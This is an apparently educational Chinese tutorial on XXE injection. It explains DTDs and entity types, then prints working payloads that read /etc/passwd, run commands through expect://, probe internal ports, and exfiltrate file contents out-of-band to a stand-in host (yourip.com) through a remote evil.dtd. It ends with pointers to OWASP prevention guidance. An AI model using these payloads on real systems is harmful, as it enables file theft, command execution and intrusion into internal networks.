xxe

XML外部实体注入

0x00 基础

XXE(XML External Entity Injection),xml外部实体注入

DTD(Document Type Definition),文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构

DTD可被成行的声明于XML文档中,也可作为一个外部引用

DTD中一些关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

实例:

<?xml version="1.0"?>
<!DOCTYPE note [ 	<!-- 定义此文档是note类型的文档 -->
  <!ELEMENT note (to,from,heading,body)>	<!-- 定义 note 元素有四个元素:"to from heading body" -->
  <!ELEMENT to      (#PCDATA)>			<!-- 定义 to 元素为 #PCDATA 类型(会被解析的字符数据) -->
  <!ELEMENT from    (#PCDATA)>			<!-- 定义 from 元素为 #PCDATA 类型 -->
  <!ELEMENT heading (#CDATA)>			<!-- 定义 heading 元素为 #CDATA 类型(不会被解析的字符数据) -->
  <!ELEMENT body    (#CDATA)>			<!-- 定义 body 元素为 #CDATA类型 -->
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部的 DOCTYPE 声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

实例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体

实体是用于定义引用普通文本或特殊字符的变量,实体引用是对实体的引用。实体可在内部或外部进行声明

实体类别:

  • 内置实体
  • 字符实体
  • 通用实体
  • 参数实体

参数实体用%实体名称申请,引用时也用%实体名称

其余实体直接用实体名称申请,引用时用&实体名称

参数实体只能在DTD中申明,DTD中引用

其余实体只能在DTD中申明,可在xml文档中引用

  • DTD内部声明

      <!ENTITY 实体名称 "实体的值">
    

    例:

      <!ENTITY write "Bill Gates">
      <!ENTITY copyright "Copyright ...">
      ...
    
      <author>&write;&copyright</author>
    
  • DTD外部声明
      <!ENTITY 实体名称 SYSTEM "URI/URL">
    

    例:

      <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
      <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
      ...
    	
      <author>&writer;&copyright;</author>
    
  • 参数实体
      <!ENTITY % 实体名称 "实体的值"><!ENTITY % 实体名称 SYSTEM "URI">
    

    例:

      <!DOCTYPE a [
          <!ENTITY % name SYSTEM "file:///etc/passwd">
          %name;
      ]>
    
  • 引用公共DTD
      <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
    

    例子:

      <!DOCTYPE taglib PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" "http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">
    

支持的协议

libxml2 php java .net
file file http file
http http https http
ftp ftp ftp https
  php file ftp
  compress.zlib jar  
  compress.bzip2 netdoc  
  data mailto  
  glob gopher *  
  phar    

其中,php支持的协议会更多一些,但需要一定的扩展

Scheme Extension Required
https、ftps openssl
zip zip
ssh2.shell、ssh2.exec、ssh2.tunnel、sh2.sftp、ssh2.scp ssh2
rar rar
ogg oggvorbis
expect expect

0x02 XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

举例说明几个常见危害:

读取任意文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
  <name>&xxe;</name>
</root>

执行系统命令

下面需要在安装了expect扩展的PHP环境下,当然其他协议也可能会出现这种问题

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ENTITY xxe SYSTEM "expect://id" >
]>
<root>
  <name>&xxe;</name>
</root>

探测内网端口/SSRF

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8888/" >
]>
<root>
  <name>&xxe;</name>
</root>

无回显操作

无回显时可以将文件发送到远程服务器,然后读取

发送到目标服务器上的xml数据:

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % evil SYSTEM "http://www.yourip.com/evil.dtd">
  %evil;
]>
<a>&send;</a>

远程 evil.dtd:

<!ENTITY % all 
  "<!ENTITY send SYSTEM 'http://yourip.com/recv?data=%file;'"
>
%all;

首先,%evil;用来引用http://yourip.com下的evil.dtd,之后evil.dtd中的%all会生成send实体,经过<a>中的引用,将%file的内容发送至yourip

其中,&send也可以是参数实体,这样就无需在xml文档中显式引用了

发送到目标服务器上的xml数据:

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % evil SYSTEM "http://www.yourip.com/evil.dtd">
  %evil;
]>

远程 evil.dtd:

<!ENTITY % all 
  "<!ENTITY % send SYSTEM 'http://yourip.com/recv?data=%file;'"
>
%all;
%send;

0x03 修复

参考 owasp XXE PreventionCheat Sheel

0x04 参考

w3school

未知攻焉知防

防御措施

Testing for XML Injection

XXE漏洞及Bind XXE总结

安全从业者